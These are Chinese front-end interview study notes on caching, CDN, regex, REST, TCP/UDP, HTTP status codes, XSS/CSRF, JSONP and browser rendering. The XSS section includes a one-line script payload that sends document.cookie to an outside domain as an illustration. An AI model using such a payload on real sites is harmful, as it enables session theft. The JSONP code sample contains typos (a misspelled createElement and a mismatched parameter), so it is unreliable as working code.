# 綜合知識 ## 緩存 當沒有CDN時，客戶端訪問網站，先檢查本地緩存是否過期，如果過期，則由網站返回新的數據，若沒有過期，直接使用緩存資源（200）。 ### 概念 #### 強緩存 強緩存，指的是使用本地的緩存。 #### 協商緩存 協商緩存，是指本地的緩存到期后，與服務器確認緩存是否真正過期，過期返回新的資源（200），沒有過期（304資源仍有效） #### CDN緩存 客戶端瀏覽器先檢查是否有本地緩存是否過期： - 如果過期，則向CDN邊緣節點發起請求，CDN邊緣節點會檢測用戶請求數據的緩存是否過期， - 如果沒有過期，則直接響應用戶請求，此時一個完成http請求結束； - 如果數據已經過期，那么CDN還需要向源站發出回源請求（back to the source request）,來拉取最新的數據。 #### CDN緩存策略 一般通過http響應頭中的 `Cache-control: max-age` 的字段來設置CDN邊緣節點數據緩存時間。 ## 自定義重寫 Select > TODO ## 正則表達式 ### 常用字符 |符號 |符號意義 | |-----------|----------------------| |/...../ |用來表示一個正則匹配表達式。| |\ |轉義字符。| |/^a/ |表示當第一個字符為a時才能匹配。| |/t$/ |最后一個字符為t才會匹配。| |* |一個字符出現任意次，即匹配。| |？ |匹配一個字符0次或者1次。| |{n} |匹配前邊的字符發生n次。例如，/e{3}/ 就會匹配 eee 及>3e 的字符串。| |{n,m} |最少n次，最多m次| |[abcd] |字符集和，匹配方括號中的任意字符| |[^abcd] |匹配不存在方括號中的任意字符| |\d |匹配一個數字| |\D |匹配一個非數字| ## 前后端交互相關 ### RESTful 接口 `RESTful接口`是一種軟件架構設計風格，主要用于前后端的交互，它的重要一個原則是前端的請求是沒有狀態的，無狀態的請求可以由任何服務器回答。 RESTful提倡使用標準的 HTTP 方法，GET對應取、PUT對應修改、POST新增 和 DELETE對應刪除。 ### TCP和UDP的區別 #### TCP： - 面向連接，進行數據傳輸前需要連接。因此連接是點對點的。 - TCP提供可靠的服務。也就是說，通過TCP連接傳送的數據，無差錯，不丟失，不重復，且按序到達。 > （Tcp通過校驗和，重傳控制，序號標識，滑動窗口、確認應答實現可靠傳輸。如丟包時的重發控制，還可以對次序亂掉的分包進行順序控制。） - TCP對系統資源要求較多。 #### UDP： - 無連接的，進行傳輸前不需要建立連接。可以是一對一，一對多，多對一和多對多。 - 盡最大努力進行交付，但是不保證交付的可靠性。例如視頻網站傳輸視頻。 - UDP具有較好的實時性，工作效率比TCP高，適用于對高速傳輸和實時性有較高的通信或廣播通信。 - UDP對系統資源要求較少。 ### HTTP 狀態碼 |代碼 |含義 | |-------|---------------| |1 |消息 | |2 |成功 | |3 |重定向 | |4 |請求錯誤 | |400 |Bad Request | |401 |Unauthorized | |402 |PaymentRequired| |403 |Forbidden | |404 |Not Found | |5 |服務器錯誤 | |500 |Internal Server Error| ### css、js加載會不會阻塞DOM解析和繪制 CSS不會阻塞DOM的解析，但是會阻塞DOM的繪制。 CSS會阻塞之后的JS的運行。 ### XSS和CSRF #### XSS `XSS` 是跨站腳本攻擊。 例如：<script>window.open(www.yixiuge.com?content=document.cookie);</script>。也可以寫成圖片，iframe的形式 ### CSRF `CSRF` 是跨站請求偽造。 攻擊者盜用了用戶的身份，以用戶的名義發送惡意請求，包括：以用戶的名義發送郵件，發消息，盜取用戶賬號等。 ### 跨域問題場景【細看】 #### 跨域詳解 - Ajax直接請求普通文件存在跨域無權限訪問的問題，甭管你是靜態頁面、動態網頁、web服務、WCF，只要是跨域請求，一律不準。 - Web頁面上調用js文件時則不受是否跨域的影響（不僅如此，我們還發現凡是擁有”src”這個屬性的標簽都擁有跨域的能力，比如 `<script>、<img>、<iframe>`） #### DOM同源策略 禁止對不同源頁面DOM進行操作, 同源指，域名、協議、端口 如果非同源，js腳本執行時瀏覽器會報錯，提示拒絕訪問。（可以下載，但是不可以有數據操作） #### 跨域問題解決 - [jsonp](../3-javascript/3.1-jquery.md#一、jsonp) 原理：通過動態創建script標簽,然后利用src屬性進行跨域，設置一個回調函數。 ```javascript // 定義一個fun函數 function fun(fata) { console.log(data); }; // 創建一個腳本，并且告訴后端回調函數名叫fun var body = document.getElementsByTagName('body')[0]; var script = document.gerElement('script'); script.type = 'text/javasctipt'; script.src = 'demo.js?callback=fun'; body.appendChild(script); ``` > jsonp不能發post請求，只能發get請求。因為它是調用回調函數的方式，在服務器看來只是請求了一個資源。 ### 重繪 && 重排 一個頁面由兩部分組成： - DOM：描述該頁面的結構 - render：描述 DOM 節點 (nodes) 在頁面上如何呈現 #### 重繪 Repaint 當 DOM 元素的屬性發生變化 (如 color) 時, 瀏覽器會通知 render 重新描繪相應的元素, 此過程稱為 repaint。 #### 重排 Reflow 如果該次變化涉及元素布局 (如 width), 瀏覽器則拋棄原有屬性, 重新計算并把結果傳遞給 render 以重新描繪頁面元素, 此過程稱為 reflow。 > 重排必定會引發重繪，但重繪不一定會引發重排。 > 重排對性能的影響要大于重繪。 #### 瀏覽器解析順序 1. 解析HTML代碼并生成一個 DOM 樹。 2. 解析CSS文件，順序為：瀏覽器默認樣式->自定義樣式->頁面內的樣式。 3. 生成一個渲染樹（render tree）。這個渲染樹和DOM樹的不同之處在于，它是受樣式影響的。它不包括那些不可見的節點。 4. 當渲染樹生成之后，瀏覽器就會在屏幕上“畫”出所有渲染樹中的節點。 #### 優化方法 （1）直接改變元素的className （2）display：none；先設置元素為display：none；然后進行頁面布局等操作；設置完成后將元素設置為display：block；這樣的話就只引發兩次重繪和重排； （3）不要經常訪問瀏覽器的flush隊列屬性；如果一定要訪問，可以利用緩存。將訪問的值存儲起來，接下來使用就不會再引發回流； （4）使用cloneNode(true or false) 和 replaceChild 技術，引發一次回流和重繪； （5）將需要多次重排的元素，position屬性設為absolute或fixed，元素脫離了文檔流，它的變化不會影響到其他元素； （6）如果需要創建多個DOM節點，可以使用DocumentFragment創建完后一次性的加入document； ## 瀏覽器相關 ### 瀏覽器內核 |內核名稱 |代表瀏覽器 | |-----------|----------------------| |Trident |Internet Explore、搜狗 | |Gecko |Mozilla、Firefox | |WebKit |Safari、Chrome | |Presto |Opera | ## 瀏覽器輸入URL敲擊回車后發生了什么？ > 這個問題可以理解成瀏覽器是怎么訪問一個網站了。 分別有以下幾個步驟： 1. 瀏覽器解析URL 一個URL通常包括以下幾個參數： - 傳輸協議 - 域名 - 端口 - 虛擬目錄 - 文件名 - 參數 - 錨 瀏覽器解析URL，主要是解析出需要訪問的服務器的域名。 2. DNS解析 DNS解析就是域名對應IP地址的查詢。 瀏覽器DNS緩存（2-30分鐘） > 系統DNS緩存(host文件) > 路由器DNS緩存 > 查詢ISP DNS緩存(網絡供應商) > 遞歸查詢(從根域名服務器到頂級域名服務器再到極限域名服務器依次搜索哦對應目標域名的IP。) 3. 瀏覽器與網站建立TCP連接（三次握手） > 三次握手，四次揮手 4. 請求和傳輸數據 > GET、POST等進行數據傳輸 5. 瀏覽器渲染頁面 ## 問題 ## 你是如何學習前端的 大概就講了視頻（入門）=》文檔（w3school/菜鳥教程/MDN/阮一峰）=》書（dom編程藝術/紅寶書/understanding es6,/es6入門教程）=》官方文檔（w3.org/vuejs.org） 沒事轉轉博客、社區。 以及接下來打算學習什么，看什么書。